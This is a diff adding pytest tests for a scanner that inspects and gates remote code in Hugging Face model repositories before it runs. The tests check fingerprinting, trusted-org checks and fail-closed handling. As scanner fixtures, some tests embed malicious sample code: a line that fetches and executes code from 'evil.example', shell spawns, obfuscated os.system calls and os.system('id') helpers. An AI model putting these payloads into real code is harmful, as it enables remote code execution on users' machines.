+                approved_fingerprint = d1.fingerprint,
+            )
+        assert d1.blocked is True
+        assert d1.approvable is True
+        assert d1.max_severity == "MEDIUM"
+        assert d1.fingerprint
+        assert "MEDIUM" in d1.reason
+        assert d2.blocked is False
+        assert d2.reason == "approved by fingerprint"
+
+    def test_fingerprint_changes_when_code_changes(self):
+        ((fn, body),) = _HIGH.items()
+        a1, b1 = _with_auto_map(_HIGH)
+        with a1, b1:
+            d1 = evaluate_remote_code_consent(
+                "evil/Model", trust_remote_code = True, trusted_org = False
+            )
+        tampered = {fn: body + "\n# changed\n"}
+        a2, b2 = _with_auto_map(tampered)
+        with a2, b2:
+            d2 = evaluate_remote_code_consent(
+                "evil/Model", trust_remote_code = True, trusted_org = False
+            )
+        assert d1.fingerprint != d2.fingerprint  # pinned approval would re-prompt
+
+    def test_unscannable_auto_map_blocked_fail_closed(self):
+        # Code is shipped but could not be fetched/listed (gated/offline/transient):
+        # repo_remote_code_files raises RemoteCodeUnscannable. Code we cannot see cannot
+        # be verified or fingerprinted, so fail closed (hard, non-approvable block).
+        with (
+            patch.object(consent, "_config_has_auto_map", return_value = True),
+            patch.object(
+                consent,
+                "repo_remote_code_files",
+                side_effect = RemoteCodeUnscannable("gated"),
+            ),
+        ):
+            d = evaluate_remote_code_consent("unsloth/Gated", trust_remote_code = True)
+        assert d.has_remote_code is True
+        assert d.blocked is True
+        assert d.approvable is False
+        assert "could not be scanned" in d.reason
+
+    def test_auto_map_with_no_executable_code_is_a_noop(self):
+        # auto_map declared but the repo ships no executable .py (listing succeeded,
+        # returns {}) -- e.g. a GGUF repo with a vestigial auto_map. Nothing to run, so
+        # trust_remote_code is a no-op and the load is allowed, not blocked.
+        with (
+            patch.object(consent, "_config_has_auto_map", return_value = True),
+            patch.object(consent, "repo_remote_code_files", return_value = {}),
+        ):
+            d = evaluate_remote_code_consent(
+                "unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF", trust_remote_code = True
+            )
+        assert d.blocked is False
+        assert d.has_remote_code is False
+        assert "no-op" in d.reason
+
+
+class TestWorkersWireTheGate:
+    """Each load worker must call the gate and emit a remote_code_blocked error."""
+
+    @pytest.mark.parametrize(
+        "rel",
+        [
+            "core/training/worker.py",
+            "core/inference/worker.py",
+            "core/export/worker.py",
+        ],
+    )
+    def test_worker_invokes_gate(self, rel):
+        src = (Path(__file__).resolve().parent.parent / rel).read_text()
+        assert "evaluate_remote_code_consent" in src
+        assert "remote_code_blocked" in src
+        assert ".blocked" in src
+
+    def test_mlx_training_path_gates_before_load(self):
+        # The Apple-Silicon path returns before run_training_process's gate, so it must
+        # scan before FastMLXModel.from_pretrained runs repo code.
+        src = (_BACKEND / "core/training/worker.py").read_text()
+        head = src[: src.index("FastMLXModel.from_pretrained(")]
+        assert "evaluate_remote_code_consent" in head
+
+    def test_lora_base_model_is_gated(self):
+        # Inference + export expand the consent scan to the LoRA base model's code.
+        for rel in ("core/inference/worker.py", "core/export/worker.py"):
+            src = (_BACKEND / rel).read_text()
+            assert "consent_targets" in src
+            assert "get_base_model_from_lora" in src or "mc.base_model" in src
+
+    def test_remote_lora_base_is_resolved_in_gate_paths(self):
+        # validate / scan / training / export must resolve a remote adapter's base (not
+        # just a local dir) so it is scanned, not silently trusted. (Inference gets the
+        # resolved base from ModelConfig.base_model.)
+        for rel in (
+            "routes/inference.py",
+            "routes/models.py",
+            "core/training/worker.py",
+            "core/export/worker.py",
+        ):
+            src = (_BACKEND / rel).read_text()
+            assert "get_base_model_from_lora_identifier" in src, rel
+
+    def test_embedding_training_path_gates_before_load(self):
+        # The embedding pipeline must run the malware + consent gates before loading, like the other paths.
+        src = (_BACKEND / "core/training/worker.py").read_text()
+        start = src.index("def _run_embedding_training(")
+        end = src.index("FastSentenceTransformer.from_pretrained(", start)
+        region = src[start:end]
+        assert "evaluate_file_security" in region
+        assert "evaluate_remote_code_consent" in region
+
+
+class TestCanonicalScannerSource:
+    """In-repo, the load-time scanner must be the canonical scripts/scan_packages.py (the CI scanner), not the fallback."""
+
+    def test_canonical_scanner_loads_in_repo(self):
+        from utils.security.remote_code_scan import _load_canonical_scanner
+
+        canon = _load_canonical_scanner()
+        assert canon is not None, "scripts/scan_packages.py must load in-repo"
+        assert hasattr(canon, "check_py_file")
+
+    def test_gate_uses_canonical_combination_heuristics(self):
+        # Combination heuristics are unique to the canonical scanner: a reverse shell is
+        # CRITICAL there, proving the flat fallback is not in effect.
+        from utils.security.remote_code_scan import scan_remote_code_files
+        r = scan_remote_code_files(_CRITICAL)
+        assert r.max_severity == "CRITICAL"
+
+
+class TestStructuredFindingsForDialog:
+    """The dialog needs structured findings + a fingerprint from the pre-check helper and scan route, with the approval threaded to workers."""
+
+    def test_findings_payload_shape(self):
+        from utils.security.remote_code_scan import scan_remote_code_files
+
+        payload = scan_remote_code_files(_HIGH).findings_payload()
+        assert payload
+        for f in payload:
+            assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set(f)
+
+    def test_snippet_locates_line_and_highlights_match(self):
+        from utils.security.remote_code_scan import scan_remote_code_files
+
+        src = (
+            "import torch\n"  # 1
+            "\n"  # 2
+            "def build(expr):\n"  # 3
+            "    fn = eval(expr)\n"  # 4  <- flagged
+            "    return fn\n"  # 5
+        )
+        f = scan_remote_code_files({"modeling_x.py": src}).findings_payload()[0]
+        assert f["line"] == 4
+        rows = f["snippet"]
+        match = [r for r in rows if r["is_match"]]
+        assert len(match) == 1 and match[0]["number"] == 4
+        # Precise column span isolates "eval(" within the line.
+        seg = match[0]["text"][match[0]["match_start"] : match[0]["match_end"]]
+        assert seg == "eval("
+        # Context window present on both sides (clamped at file edges).
+        assert any(r["number"] == 3 for r in rows)
+        assert any(r["number"] == 5 for r in rows)
+
+    def test_preflight_surfaces_findings(self):
+        from utils.security import preflight_remote_code_consent
+
+        a, b = _with_auto_map(_HIGH)
+        with a, b:
+            d = preflight_remote_code_consent("evil/Model", trusted_org = False)
+        assert d.has_remote_code is True
+        assert d.findings and d.fingerprint  # structured findings for the UI
+
+    def test_scan_route_uses_preflight(self):
+        src = (Path(__file__).resolve().parent.parent / "routes/models.py").read_text()
+        assert "remote-code-scan" in src
+        # The scan route pins one combined fingerprint over adapter + base, so adapter code is reviewed and approvable too.
+        assert "preflight_remote_code_consent_for_targets" in src
+
+    def _run_scan_route(self, monkeypatch, *, adapter, base, in_cache):
+        """Call scan_model_remote_code with all network/cache deps stubbed; in_cache(repo)
+        decides whether a repo pre-existed in cache (so it is not reported scan-created)."""
+        import asyncio
+
+        import routes.models as models_route
+        import utils.models.model_config as model_config
+        import utils.security as security
+
+        monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
+        monkeypatch.setattr(
+            model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: base
+        )
+        monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n))
+        monkeypatch.setattr(
+            security,
+            "preflight_remote_code_consent_for_targets",
+            lambda *_a, **_k: SimpleNamespace(
+                has_remote_code = False,
+                response_payload = lambda: {"has_remote_code": False, "approvable": True},
+            ),
+        )
+        monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
+        monkeypatch.setattr(
+            security,
+            "evaluate_file_security",
+            lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
+        )
+        return asyncio.run(
+            models_route.scan_model_remote_code(
+                model_name = adapter, hf_token = None, current_subject = "tester"
+            )
+        )
+
+    def test_scan_route_reports_all_scan_created_repos(self, monkeypatch):
+        """A LoRA scan that pulls both adapter and base into cache reports every created
+        repo, so a decline purges all of them, not just the primary."""
+        adapter, base = "someone/lora-adapter", "someone/base-model"
+        payload = self._run_scan_route(
+            monkeypatch, adapter = adapter, base = base, in_cache = lambda _n: False
+        )
+        assert payload["scan_created_repos"] == [adapter, base]
+        assert payload["created_by_scan"] is True
+
+    def test_scan_route_omits_repo_already_cached(self, monkeypatch):
+        """A base the user already had is not scan-created, so a decline purges only the new adapter."""
+        adapter, base = "someone/lora-adapter", "someone/base-model"
+        payload = self._run_scan_route(
+            monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == base
+        )
+        assert payload["scan_created_repos"] == [adapter]
+        assert payload["created_by_scan"] is True
+
+    def test_scan_route_primary_already_cached_clears_created_by_scan(self, monkeypatch):
+        """When only the base is new, created_by_scan is False but the base is still purged via scan_created_repos."""
+        adapter, base = "someone/lora-adapter", "someone/base-model"
+        payload = self._run_scan_route(
+            monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == adapter
+        )
+        assert payload["scan_created_repos"] == [base]
+        assert payload["created_by_scan"] is False
+
+    def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution(self, monkeypatch):
+        """A remote adapter is reported scan-created even though resolving its base first
+        caches the adapter's own adapter_config.json. Otherwise the adapter (and the
+        auto_map .py the preflight fetched) is left on disk on decline. The static-lambda
+        tests above miss this by not modeling base resolution's side effect."""
+        import asyncio
+
+        import routes.models as models_route
+        import utils.models.model_config as model_config
+        import utils.security as security
+        import utils.security.remote_code_scan as rcs
+
+        adapter, base = "someone/lora-adapter", "someone/base-model"
+        cached: set = set()  # repos currently present in some HF cache
+
+        def _get_base(name, token = None):
+            # Resolving the base downloads the ADAPTER's adapter_config.json first.
+            cached.add(adapter)
+            return base
+
+        monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
+        monkeypatch.setattr(model_config, "get_base_model_from_lora_identifier", _get_base)
+        monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached)
+        monkeypatch.setattr(rcs, "external_auto_map_repos", lambda *_a, **_k: set())
+        monkeypatch.setattr(
+            security,
+            "preflight_remote_code_consent_for_targets",
+            lambda *_a, **_k: SimpleNamespace(
+                has_remote_code = True,
+                response_payload = lambda: {"has_remote_code": True, "approvable": True},
+            ),
+        )
+        monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
+        monkeypatch.setattr(
+            security,
+            "evaluate_file_security",
+            lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
+        )
+        payload = asyncio.run(
+            models_route.scan_model_remote_code(
+                model_name = adapter, hf_token = None, current_subject = "tester"
+            )
+        )
+        # The adapter must be purged on decline despite being cached mid-scan.
+        assert adapter in payload["scan_created_repos"]
+        assert base in payload["scan_created_repos"]
+        assert payload["created_by_scan"] is True
+
+    @pytest.mark.parametrize(
+        "rel",
+        [
+            "core/training/training.py",
+            "core/inference/orchestrator.py",
+            "core/export/orchestrator.py",
+            "routes/training.py",
+            "routes/inference.py",
+            "routes/export.py",
+        ],
+    )
+    def test_fingerprint_threaded_to_worker(self, rel):
+        src = (Path(__file__).resolve().parent.parent / rel).read_text()
+        assert "approved_remote_code_fingerprint" in src
+
+
+# Trusted-org auto-enable: is_trusted_org_repo decides whether a repo may auto-enable
+# remote code without a prompt; it rejects local-path / spoofed names and fails closed.
+
+
+def _fake_hfapi(resolved_id, author = "unsloth"):
+    api = MagicMock()
+    api.return_value.model_info.return_value = SimpleNamespace(id = resolved_id, author = author)
+    return api
+
+
+class TestIsTrustedOrgRepo:
+    """Only a genuine unsloth/ or nvidia/ repo is trusted (Hub-verified); everything spoofed/malformed/unreachable fails closed."""
+
+    def test_accepts_genuine_unsloth_repo(self):
+        with patch("huggingface_hub.HfApi", _fake_hfapi("unsloth/DeepSeek-OCR")):
+            assert is_trusted_org_repo("unsloth/DeepSeek-OCR") is True
+
+    def test_accepts_genuine_nvidia_repo(self):
+        with patch("huggingface_hub.HfApi", _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia")):
+            assert is_trusted_org_repo("nvidia/Nemotron-H-8B") is True
+
+    def test_local_path_spoofs_rejected(self):
+        # Names that look trusted after stripping but are local paths.
+        for n in ["./unsloth/evil", "/tmp/unsloth/x", "~/unsloth/x", ".\\unsloth\\x"]:
+            assert is_trusted_org_repo(n, verify_remote = False) is False, n
+
+    def test_rejects_local_path_even_if_is_local_path_says_so(self):
+        # Defensive: a bare "unsloth/x" that resolves as a local dir must fail.
+        with patch("utils.security.trusted_org.is_local_path", return_value = True):
+            assert is_trusted_org_repo("unsloth/x") is False
+
+    def test_local_dir_shadowing_trusted_name_rejected(self, tmp_path, monkeypatch):
+        # A local dir literally named "unsloth/evil" must be rejected before any Hub call, even with remote verify on.
+        monkeypatch.chdir(tmp_path)
+        (tmp_path / "unsloth" / "evil").mkdir(parents = True)
+        clear_cache()
+        with patch("huggingface_hub.HfApi") as Api:
+            assert is_trusted_org_repo("unsloth/evil") is False
+            Api.assert_not_called()
+
+    def test_untrusted_namespaces_rejected(self):
+        for n in ["evil/unsloth-clone", "unsloth-evil/x", "nvidiaa/x", "huggingface/x"]:
+            assert is_trusted_org_repo(n, verify_remote = False) is False, n
+
+    def test_malformed_names_rejected(self):
+        for n in ["", "gpt2", "unsloth", "a/b/c", "/x", "unsloth/", "/unsloth", None]:
+            assert is_trusted_org_repo(n, verify_remote = False) is False, repr(n)
+
+    def test_rejects_when_resolved_owner_is_not_trusted(self):
+        # Name says unsloth/ but the Hub resolves it elsewhere -> fail closed.
+        with patch("huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse")):
+            assert is_trusted_org_repo("unsloth/x") is False
+
+    def test_fails_closed_when_hub_raises(self):
+        for exc in (ConnectionError("net"), Exception("404"), TimeoutError("t")):
+            clear_cache()
+            api = MagicMock()
+            api.return_value.model_info.side_effect = exc
+            with patch("huggingface_hub.HfApi", api):
+                assert is_trusted_org_repo("unsloth/maybe-real") is False
+
+    def test_offline_trusts_shape_without_hub(self, monkeypatch):
+        # Offline: trust the namespace shape without ever touching the Hub.
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        clear_cache()
+        with patch("huggingface_hub.HfApi") as Api:
+            assert is_trusted_org_repo("unsloth/Local-Cached") is True
+            assert is_trusted_org_repo("nvidia/Nemotron-H-x") is True
+            assert is_trusted_org_repo("evil/x") is False
+            Api.assert_not_called()
+
+    def test_token_failure_does_not_poison_authed_lookup(self):
+        # Cache is keyed by token: an unauthenticated failure must not poison a later authed call.
+        clear_cache()
+        api = MagicMock()
+        api.return_value.model_info.side_effect = [
+            Exception("401 gated"),  # no token -> fails closed
+            SimpleNamespace(id = "unsloth/Private", author = "unsloth"),  # token -> resolves
+        ]
+        with patch("huggingface_hub.HfApi", api):
+            assert is_trusted_org_repo("unsloth/Private") is False
+            assert is_trusted_org_repo("unsloth/Private", hf_token = "hf_xyz") is True
+
+
+class TestNemotronGateUsesTrustCheck:
+    """The NemotronH auto-enable in all three workers is gated on is_trusted_org_repo, so a spoofed nemotron-named repo never auto-enables."""
+
+    @pytest.mark.parametrize(
+        "rel",
+        [
+            "core/training/worker.py",
+            "core/inference/worker.py",
+            "core/export/worker.py",
+        ],
+    )
+    def test_worker_nemotron_block_calls_trust_check(self, rel):
+        src = (_BACKEND / rel).read_text()
+        assert "_NEMOTRON_TRUST_SUBSTRINGS" in src
+        assert "is_trusted_org_repo(" in src
+
+    def test_gate_predicate_blocks_spoof_allows_trusted(self):
+        # Reproduce the worker predicate with the REAL is_trusted_org_repo.
+        subs = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
+
+        def gate(name):
+            low = name.lower()
+            return (
+                any(s in low for s in subs)
+                and (low.startswith("unsloth/") or low.startswith("nvidia/"))
+                and is_trusted_org_repo(name, verify_remote = False)
+            )
+
+        with patch.dict(os.environ, {"HF_HUB_OFFLINE": "1"}):
+            clear_cache()
+            assert gate("unsloth/Nemotron-H-8B") is True
+        clear_cache()
+        assert gate("evil/nemotron_h-backdoor") is False  # spoofed namespace
+        assert gate("unsloth/llama-3-8b") is False  # not nemotron
+
+
+# Raw scanner behaviour + coverage: scan_remote_code_files flags dangerous patterns
+# and agrees with the CI auditor; repo_remote_code_files must scan every .py the
+# loader could execute and fail closed on a partial remote snapshot.
+
+_SCAN_MALICIOUS = (
+    "import os, subprocess, urllib.request, base64\n"
+    "subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
+    "exec(urllib.request.urlopen('http://evil.example/x').read())\n"
+    "__import__('o' + 's').system('whoami')\n"
+    "BLOB = '" + ("QWxhZGRpbjpvcGVuc2VzYW1l" * 20) + "'\n"
+)
+_SCAN_BENIGN = (
+    "import torch\nfrom torch import nn\n"
+    "from transformers import PreTrainedModel\n"
+    "class DeepseekOCRForCausalLM(PreTrainedModel):\n"
+    "    def forward(self, x):\n        return self.proj(x)\n"
+)
+
+
+class TestRemoteCodeScan:
+    def test_flags_malicious(self):
+        res = scan_remote_code_files({"modeling_evil.py": _SCAN_MALICIOUS})
+        assert not res.clean
+        assert res.max_severity in (CRITICAL, HIGH)
+        assert res.findings
+        assert should_block_remote_code(res) is True
+
+    def test_benign_is_clean(self):
+        res = scan_remote_code_files({"modeling_ok.py": _SCAN_BENIGN})
+        assert res.clean, res.summary()
+        assert should_block_remote_code(res) is False
+
+    def test_only_python_is_scanned(self):
+        res = scan_remote_code_files({"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS})
+        assert res.clean
+
+    def test_fingerprint_stable_and_sensitive(self):
+        a = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
+        b = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
+        c = remote_code_fingerprint({"m.py": _SCAN_BENIGN + "\n# changed"})
+        assert a == b
+        assert a != c
+
+    def test_scanner_faithful_to_scan_packages(self):
+        # The vendored load-time scanner agrees with the CI auditor that the file is dangerous.
+        sp = _BACKEND.parents[1] / "scripts" / "scan_packages.py"
+        if not sp.is_file():
+            pytest.skip("scan_packages.py not present")
+        import importlib.util
+
+        spec = importlib.util.spec_from_file_location("scan_packages_probe", sp)
+        mod = importlib.util.module_from_spec(spec)
+        spec.loader.exec_module(mod)
+        assert len(mod.check_py_file(_SCAN_MALICIOUS, "modeling_x.py", "pkg")) > 0
+        assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean
+
+
+class TestScannerCoversAllExecutableCode:
+    """repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code."""
+
+    def test_local_scan_is_recursive(self, tmp_path):
+        # A nested helper module (imported by modeling_*.py) must be scanned too.
+        (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_x.M"}}')
+        (tmp_path / "modeling_x.py").write_text("from .helpers import sub\n")
+        nested = tmp_path / "helpers"
+        nested.mkdir()
+        (nested / "sub.py").write_text("import os\nos.system('id')\n")
+        files = repo_remote_code_files(str(tmp_path))
+        assert "modeling_x.py" in files
+        assert str(Path("helpers") / "sub.py") in files
+
+    def test_remote_partial_download_is_unscannable(self):
+        # config.json fetches but a referenced .py 404s: a partial set would fingerprint
+        # "clean" while transformers later runs the missing file, so fail closed.
+        def _dl(
+            repo,
+            fn,
+            token = None,
+        ):
+            if fn == "config.json":
+                import json
+                import tempfile
+
+                p = Path(tempfile.mkdtemp()) / "config.json"
+                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
+                return str(p)
+            if fn in REMOTE_CODE_CONFIG_FILES:
+                raise EntryNotFoundError(fn)  # repo ships no tokenizer/processor config
+            raise RuntimeError("download failed")  # the referenced .py cannot be fetched
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch("huggingface_hub.list_repo_files", return_value = ["modeling_x.py"]),
+        ):
+            with pytest.raises(RemoteCodeUnscannable):
+                repo_remote_code_files("third/party")
+
+    def test_external_auto_map_repo_is_scanned(self):
+        # auto_map can point at code in another repo (owner/name--module.Class) that
+        # transformers fetches + runs, so the scanner must download it from that repo.
+        def _dl(
+            repo,
+            fn,
+            token = None,
+        ):
+            import json
+            import tempfile
+
+            p = Path(tempfile.mkdtemp()) / fn
+            if fn == "config.json":
+                p.write_text(
+                    json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
+                )
+            elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
+                p.write_text("import os\nos.system('id')\n")
+            elif fn in REMOTE_CODE_CONFIG_FILES:
+                raise EntryNotFoundError(fn)  # victim repo ships no tokenizer/processor config
+            else:
+                raise RuntimeError(f"unexpected fetch {repo}:{fn}")
+            return str(p)
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch("huggingface_hub.list_repo_files", return_value = []),
+        ):
+            files = repo_remote_code_files("victim/model")
+        assert "evilorg/evilrepo--modeling_evil.py" in files
+        assert not scan_remote_code_files(files).clean  # the external code is flagged
+
+    def test_external_auto_map_helper_imports_are_scanned(self):
+        # transformers fetches the external entry AND its relative imports, so the scanner
+        # must download the whole external .py closure -- a benign entry importing a
+        # dangerous helper.py must still be flagged.
+        def _dl(
+            repo,
+            fn,
+            token = None,
+        ):
+            import json
+            import tempfile
+
+            p = Path(tempfile.mkdtemp()) / fn
+            if fn == "config.json":
+                p.write_text(
+                    json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
+                )
+            elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
+                p.write_text("from .helper import run\n")  # benign entry, imports helper
+            elif repo == "evilorg/evilrepo" and fn == "helper.py":
+                p.write_text("import os\nos.system('id')\n")  # the dangerous import
+            elif fn in REMOTE_CODE_CONFIG_FILES:
+                raise EntryNotFoundError(fn)
+            else:
+                raise RuntimeError(f"unexpected fetch {repo}:{fn}")
+            return str(p)
+
+        def _list(repo, token = None):
+            if repo == "evilorg/evilrepo":
+                return ["modeling_evil.py", "helper.py"]
+            return []  # victim/model own repo ships no .py (code is all external)
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch("huggingface_hub.list_repo_files", side_effect = _list),
+        ):
+            files = repo_remote_code_files("victim/model")
+        assert "evilorg/evilrepo--helper.py" in files  # the imported helper was scanned
+        assert not scan_remote_code_files(files).clean  # helper's os.system is flagged
+
+    def test_stale_own_repo_auto_map_ref_is_ignored_not_failed_closed(self):
+        # A config names an own-repo .py the repo no longer ships (a stale ref, e.g.
+        # PaddleOCR-VL names processing_ppocrvl.py but ships processing_paddleocr_vl.py).
+        # The absent file cannot run, so ignore it and scan the present .py, not fail closed.
+        def _dl(
+            repo,
+            fn,
+            token = None,
+        ):
+            import json
+            import tempfile
+
+            p = Path(tempfile.mkdtemp()) / fn
+            if fn == "config.json":
+                p.write_text(json.dumps({"model_type": "x"}))
+            elif fn == "tokenizer_config.json":
+                p.write_text(json.dumps({"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}}))
+            elif fn == "processing_paddleocr_vl.py":
+                p.write_text("import torch\n")  # the real, present file
+            elif fn in REMOTE_CODE_CONFIG_FILES:
+                raise EntryNotFoundError(fn)
+            else:
+                raise RuntimeError(f"stale/absent file must not be fetched: {fn}")
+            return str(p)
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch(
+                "huggingface_hub.list_repo_files",
+                return_value = ["config.json", "tokenizer_config.json", "processing_paddleocr_vl.py"],
+            ),
+        ):
+            files = repo_remote_code_files("unsloth/PaddleOCR-VL")
+        assert files != {}, "must not fail closed: present .py are scannable"
+        assert "processing_paddleocr_vl.py" in files  # present file scanned
+        assert "processing_ppocrvl.py" not in files  # stale ref ignored, never fetched
+
+    def test_present_referenced_py_fetch_failure_still_fails_closed(self):
+        # The stale-ref relaxation must not weaken the present-file guarantee: a listed .py
+        # that cannot be fetched (transient) still fails closed, since transformers would run it.
+        def _dl(
+            repo,
+            fn,
+            token = None,
+        ):
+            import json
+            import tempfile
+
+            if fn == "config.json":
+                p = Path(tempfile.mkdtemp()) / fn
+                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
+                return str(p)
+            if fn in REMOTE_CODE_CONFIG_FILES:
+                raise EntryNotFoundError(fn)
+            raise RuntimeError(
+                "transient fetch failure"
+            )  # modeling_x.py is present but unfetchable
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch("huggingface_hub.list_repo_files", return_value = ["config.json", "modeling_x.py"]),
+        ):
+            with pytest.raises(RemoteCodeUnscannable):  # present-but-unfetchable -> fail closed
+                repo_remote_code_files("third/party")
+
+    def test_external_tokenizer_auto_map_list_is_scanned(self):
+        # transformers encodes a tokenizer auto_map as a [slow, fast] list, e.g.
+        # {"AutoTokenizer": ["owner/repo--tokenization_x.Slow", null]}; the external code
+        # in the list must be fetched + scanned, not skipped for being a list.
+        def _dl(
+            repo,
+            fn,
+            token = None,
+        ):
+            import json
+            import tempfile
+
+            p = Path(tempfile.mkdtemp()) / fn
+            if fn == "config.json":
+                p.write_text(json.dumps({"model_type": "llama"}))
+            elif fn == "tokenizer_config.json":
+                p.write_text(
+                    json.dumps(
+                        {
+                            "auto_map": {
+                                "AutoTokenizer": [
+                                    "evilorg/evilrepo--tokenization_evil.EvilTokenizer",
+                                    None,
+                                ]
+                            }
+                        }
+                    )
+                )
+            elif repo == "evilorg/evilrepo" and fn == "tokenization_evil.py":
+                p.write_text("import os\nos.system('id')\n")
+            elif fn in REMOTE_CODE_CONFIG_FILES:
+                raise EntryNotFoundError(fn)  # victim repo ships no image/processor config
+            else:
+                raise RuntimeError(f"unexpected fetch {repo}:{fn}")
+            return str(p)
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch("huggingface_hub.list_repo_files", return_value = []),
+        ):
+            files = repo_remote_code_files("victim/model")
+        assert "evilorg/evilrepo--tokenization_evil.py" in files
+        assert not scan_remote_code_files(files).clean  # the external tokenizer code is flagged
+
+    def test_unreachable_external_ref_is_unscannable(self):
+        # If the external repo's code can't be fetched, fail closed rather than fingerprint a clean own-repo snapshot.
+        def _dl(
+            repo,
+            fn,
+            token = None,
+        ):
+            import json
+            import tempfile
+
+            if fn == "config.json":
+                p = Path(tempfile.mkdtemp()) / "config.json"
+                p.write_text(
+                    json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
+                )
+                return str(p)
+            if fn in REMOTE_CODE_CONFIG_FILES:
+                raise EntryNotFoundError(fn)  # victim repo ships no tokenizer/processor config
+            raise RuntimeError("download failed")  # the external repo's .py is unreachable
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch("huggingface_hub.list_repo_files", return_value = []),
+        ):
+            with pytest.raises(RemoteCodeUnscannable):
+                repo_remote_code_files("victim/model")
+
+    def test_unrelated_local_py_is_still_scanned(self, tmp_path):
+        # Deliberate broad scan (not narrowed to the import closure): a .py the entry does
+        # not statically import is still scanned, since the entry can reach it via
+        # importlib / exec / absolute import. Closure-only scanning would be a bypass.
+        (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_ok.M"}}')
+        (tmp_path / "modeling_ok.py").write_text("import torch\n")  # benign entry, imports nothing
+        (tmp_path / "unrelated.py").write_text("import os\nos.system('id')\n")  # never imported
+        files = repo_remote_code_files(str(tmp_path))
+        assert "unrelated.py" in files  # scanned despite not being referenced by auto_map
+        assert not scan_remote_code_files(files).clean  # its os.system is flagged
+
+    def test_external_mis_derived_dotted_ref_dropped_when_real_present(self):
+        # A subpackage ref "evilorg/evilrepo--pkg.modeling_evil.M" derives
+        # "pkg.modeling_evil.py", but the real file is "pkg/modeling_evil.py" (present).
+        # The mis-derived name must be dropped (not fetched and failed closed) while the
+        # present file is scanned, like the own-repo stale-ref guard.
+        def _dl(
+            repo,
+            fn,
+            token = None,
+        ):
+            import json
+            import tempfile
+
+            if fn == "config.json":
+                p = Path(tempfile.mkdtemp()) / "config.json"
+                p.write_text(
+                    json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M"}})
+                )
+                return str(p)
+            if fn in REMOTE_CODE_CONFIG_FILES:
+                raise EntryNotFoundError(fn)
+            if repo == "evilorg/evilrepo" and fn == "pkg/modeling_evil.py":
+                p = Path(tempfile.mkdtemp()) / "modeling_evil.py"
+                p.write_text("import os\nos.system('id')\n")
+                return str(p)
+            # The mis-derived dotted name must never be fetched.
+            raise RuntimeError(f"unexpected fetch {repo}:{fn}")
+
+        def _list(repo, token = None):
+            if repo == "evilorg/evilrepo":
+                return ["pkg/modeling_evil.py"]
+            return []  # victim/model ships no own .py
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch("huggingface_hub.list_repo_files", side_effect = _list),
+        ):
+            files = repo_remote_code_files("victim/model")
+        assert "evilorg/evilrepo--pkg/modeling_evil.py" in files  # real file scanned
+        assert "evilorg/evilrepo--pkg.modeling_evil.py" not in files  # mis-derived dropped
+        assert not scan_remote_code_files(files).clean  # os.system flagged
+
+    def test_external_auto_map_repos_enumerated_for_cleanup(self, tmp_path):
+        # Decline cleanup needs the external auto_map repo ids so their code is not left
+        # cached; external_auto_map_repos lists the repos a config references.
+        from utils.security.remote_code_scan import external_auto_map_repos
+
+        (tmp_path / "config.json").write_text(
+            '{"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}'
+        )
+        (tmp_path / "tokenizer_config.json").write_text(
+            '{"auto_map": {"AutoTokenizer": ["other/repo--tokenization_x.Slow", null]}}'
+        )
+        repos = external_auto_map_repos(str(tmp_path))
+        assert repos == {"evilorg/evilrepo", "other/repo"}
+
+        # A config with only own-repo code yields no external repos.
+        (tmp_path / "plain").mkdir()
+        (tmp_path / "plain" / "config.json").write_text(
+            '{"auto_map": {"AutoModel": "modeling_local.M"}}'
+        )
